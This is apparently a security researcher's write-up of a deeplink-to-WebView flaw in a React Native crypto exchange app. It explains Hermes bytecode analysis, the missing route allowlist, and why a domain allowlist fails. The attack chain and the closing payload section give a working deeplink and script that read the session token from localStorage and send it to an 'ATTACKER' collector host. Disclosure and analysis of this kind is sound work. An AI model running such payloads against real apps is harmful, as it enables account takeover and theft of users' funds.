بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
The app ships a React Native app whose deeplink router lives entirely in the Hermes JS bundle. The native side RNAppLink.onNewIntent is a pure forwarder it to JS over DeviceEventEmitter and without any validation In JS parseAppLink copies every query parameter into navigation state and dispatches on page= with no route allowlist.
The page=webview route reaches WebViewPage, which reads html and baseUrl from the attacker controlled params and calls WebView.loadDataWithBaseURL(html, baseUrl, …) so here is our sink Attacker controls the document body and the document origin and that leaed to universal XSS
Note: first-party origin that holds the session token in localStorage.
Hermes
Before we start analyzing a React Native application, we need to understand what Hermes is and how it works.
React Native applications typically implement much of their application logic in JavaScript, including navigation, input validation, and business rules. Hermes is an open-source JavaScript engine developed by Meta and optimized for React Native applications.
Instead of shipping the JavaScript source code as a collection of readable .js files, applications using Hermes commonly include the compiled JavaScript bundle at:
assets/index.android.bundle
This file typically contains Hermes bytecode, which is a compiled representation of the JavaScript code rather than the original source code.
From a security research perspective, understanding Hermes is important because analyzing a React Native application may require inspecting and decompiling its bytecode to recover application logic, identify sensitive data, and investigate potential vulnerabilities.
Why Hermes Matters in Android Security Analysis
-
Native tools are not enough. jadx and smali show the native Android code, but important application logic may be hidden in the Hermes bytecode.
-
You need to disassemble the bytecode. Tools like hermes-dec help inspect instructions and strings to understand how the JavaScript logic works.
-
Function names can help. Names like isUrlInWhitelist can help us quickly identify security checks and trace application behavior.
-
Use the correct tool version. The analysis tool must support the app's Hermes bytecode version to produce valid results.
Key takeaway: To properly assess a React Native application, we must analyze both the native Android code and the Hermes bytecode.
How we found it
The deeplink surface is entirely in the Hermes bundle, so a manifest/jadx-only pass sees nothing:
RNAppLink.onNewIntent just emits the raw URI to JS and the real routing is bytecode. First pass
with 22 path-style deeplinks (/web?url=, /webview?url=) came back clean — a false negative,
because the router dispatches on the query param page=, not the path.
A note here. The deeplink logic lives in Hermes
bytecode, which runs inside the Hermes VM there are no Java/native symbols for Frida to hook, so
parseAppLink #8268, WebViewPage #60805, isUrlInWhitelist #60830 cannot be traced at runtime.
We recovered that whole layer statically by disassembling assets/index.android.bundle with
hermes-dec (hermes/disasm.hasm) and walking it sink-first.
Frida was used at the native/Java boundary (see step 1) to confirm the deeplink reaches the native sinks;.
The snippets below are the JS reconstructed from the cited hermes-dec function IDs and string-table loads.
# Frida
[RNAppLink.onNewIntent]: exchange://link.exchange.example/x?page=webview&url=https://example.com
-
Find the forwarder. Native
RNAppLink.onNewIntent→DeviceEventEmitter 'exchange_link_received'Grep the bundle for that string → the JS listener →await parseAppLink(uri)→navigateLink #49083(dispatched from the async-generator wrapper#49087)// jadx: native side is a pure forwarder, zero validation RNAppLink.onNewIntent(Intent i) { emitDeviceEvent("exchange_link_received", i.getData()); } // hermes-dec: grep bundle "exchange_link_received" -> the JS listener DeviceEventEmitter.addListener("exchange_link_received", async (uri) => { const link = await parseAppLink(uri); // #8265 (real body #8268) navigateLink(link); // #49083, via async-gen #49087 }); -
Read the parser (
#8268). It branches onpathname.startsWith('/sl/'):/sl/short links are server-resolved (safe-ish), everything else is client-parsed —searchParams.forEach(obj[k]=v)copies every query param verbatim, withparamsgettingJSON.parse. Return gate is onlyurl && (webOnly||page). That one branch is the whole bug: all ofpage,url,mUrl,baseUrl,html,webOnlyare attacker-authored for any non-/sl/path.// parseAppLink body #8268 (reconstructed from hermes-dec) const u = new URL(uri); if (u.pathname.startsWith("/sl/")) { // Branch B: server-resolved short link — fields come from the backend return await Network.get({ url: linkApiHost + u.pathname + u.search }); } // Branch A: client-parsed — EVERY query param copied verbatim (#8270) const obj = { link: uri, page: "", url: "" }; u.searchParams.forEach((v, k) => obj[k] = (k === "params") ? JSON.parse(v) : v); return (obj.url && (obj.webOnly || obj.page)) ? obj : null; // the ONLY gate -
Follow
pageto the router (#13362/#49083).navigation.navigate(page, params)with no route allowlist (455 routes,key===valuemap#25365).page=webview→WebViewPage(#60805).// navigateLink #49083 const page = link.page; navigation.navigate(page, getAppLinkParams(link)); // no route allowlist // route dispatcher #13362 (route map #25365, key === value, 455 routes) switch (page.split(".")[0]) { case "webview": // string id 61435 return WebViewPage; // #60805 // ... } -
Read the sink (
#60805).sourceis built as{uri: rewriteWebUrl(url)}or an html-mode{html, baseUrl}branch — both straight fromroute.params(whichgetAppLinkParams #8272fills viaObject.assign({}, link.params)). So thepage=webviewroute takes attacker html + attacker baseUrl →loadDataWithBaseURL.// getAppLinkParams #8272 const params = Object.assign({}, link.params); // attacker-authored // WebViewPage render #60805 const source = params.html ? { html: params.html, baseUrl: params.baseUrl } // <- attacker body + attacker origin : { uri: rewriteWebUrl(params.url) }; // ... bridged to the native WebView: WebView.loadDataWithBaseURL(baseUrl, html, "text/html", "UTF-8", null); -
Check the guard (
#60829/#60830). The privilegedaccountInfotoken bridge (#60831) is gated by a solid dot-anchored 9-domain allowlist re-checked on every navigation — which is exactly why the first on-device token-bridge PoC returned nothing. ButloadDataWithBaseURLasserts the origin rather than navigating to it, so the gate is structurally irrelevant: the attacker JS is alreadyhttps://www.exchange.exampleand reads the token fromlocalStoragedirectly.// isUrlInWhitelist comparator #60830 — genuinely solid, dot-anchored const host = new URL(url).hostname; DOMAINS.some(d => host === d || host.endsWith("." + d)); // 9 hardcoded bases // WebViewPage #60829 wires the bridge only if the LIVE url is whitelisted, // re-checked on every nav by onNavigationStateChange #60842: if (isUrlInWhitelist(liveUrl)) wire(accountInfo /* #60831 */); // BUT loadDataWithBaseURL ASSERTS the origin, it never navigates: // -> navState.url stays unset -> the gate never evaluates // -> token read straight from localStorage, the bridge isn't even needed localStorage.getItem("key_account_token"); // -> exfil -> ATO
Root cause
parseAppLink has no allowlist, so everything the page param reaches inherits that. The same
deeplink exchange://link.exchange.example/x (and the App Link https://link.exchange.example/x,
which opens the app with no chooser) does three different things depending on page:
page=link→openURL(url)→ opens our URL in the system browser.page=webview&url=<any>→ loads our URL in the in-app WebView. We're in the app's WebView, and the token bridge (accountInfo, viawindow.ReactNativeWebView.postMessage) is right there — we called it, but it returned nothing: the bridge is gated to 9 whitelisted domains.page=webview+params={"baseUrl":"https://www.exchange.example/","html":"<attacker JS>"}→loadDataWithBaseURL(html, baseUrl)runs our JS ashttps://www.exchange.example, so now we readkey_account_tokenfrom localStorage → ATO
Why the whitelist didn't save them
The app does defend the privileged native accountInfo bridge (which hands out access + refresh
tokens to postMessage). WebViewPage wires that bridge only when isUrlInWhitelist(liveUrl) is
true, and the matcher is genuinely solid:
hostname === d || hostname.endsWith('.' + d) // dot-anchored, WHATWG hostname
over 9 hardcoded, vendor-owned bases (exchange.example, exchangeapp.example, exchange-dev.example, …)
Redirects are rechecked (onNavigationStateChange re-runs the matcher on the live host), pushState
is SOP bound, and all 9 bases are live vendor-owned (Route53, no dangling CNAME). So the usual
look like / includes / @ / open-redirect / scheme tricks all fail.
There is no mobile-only way to make the bridge fire. based on my little knowledge in JS
It doesn't matter. loadDataWithBaseURL doesn't navigate anywhere it synthesises a document
and tells the WebView its origin is baseUrl.
The RN-tracked navState URL stays unset, so the bridge gate never even evaluates but the attacker JS is already running as https://www.exchange.exampleand can read that origin's localStorage directly. The token is sitting there in cleartext (key_account_token). The bridge was never needed. The allowlist guards the wrong door.
Attack chain
-
Attacker builds a
link.exchange.exampleApp Link carryingpage=webview, a top-levelurl=(only to satisfy theparseAppLinkgate), and aparamsJSON containingbaseUrl=https://www.exchange.example/plus the attackerhtml. -
Victim logged-in taps the link — SMS, chat, email, QR.
link.exchange.exampleisautoVerify-DAL-verified, so the tap opens the app directly, no chooser, no "Open app?" dialog. -
App routes to
WebViewPage→loadDataWithBaseURL(attackerHtml, "https://www.exchange.example/"). -
Attacker JS executes under origin
https://www.exchange.example(origin=https://www.exchange.example,rnwv=object). -
localStorage.getItem('key_account_token')returns the real token the genuine the app storeKEY_SIGNED,key_account_token,key_balance_original_cache_…,<OAuth-session data>none of which the attacker HTML created.Same-originfetch('https://www.exchange.example/…')also works (got an HTTP response, not CORS-blocked). -
new Image().src = 'https://ATTACKER/steal?t=' + token→ token at attacker collector → replay against the the app API = full account access (balances, trading, withdrawal flows).
Payload
exchange://link.exchange.example/x?page=webview&url=https%3A%2F%2Fwww.exchange.example%2F¶ms=<urlenc JSON>
where the decoded params is:
{"baseUrl":"https://www.exchange.example/",
"html":"<html><body><script>var t=localStorage.getItem('key_account_token');new Image().src='https://ATTACKER/steal?t='+encodeURIComponent(t);</script></body></html>"}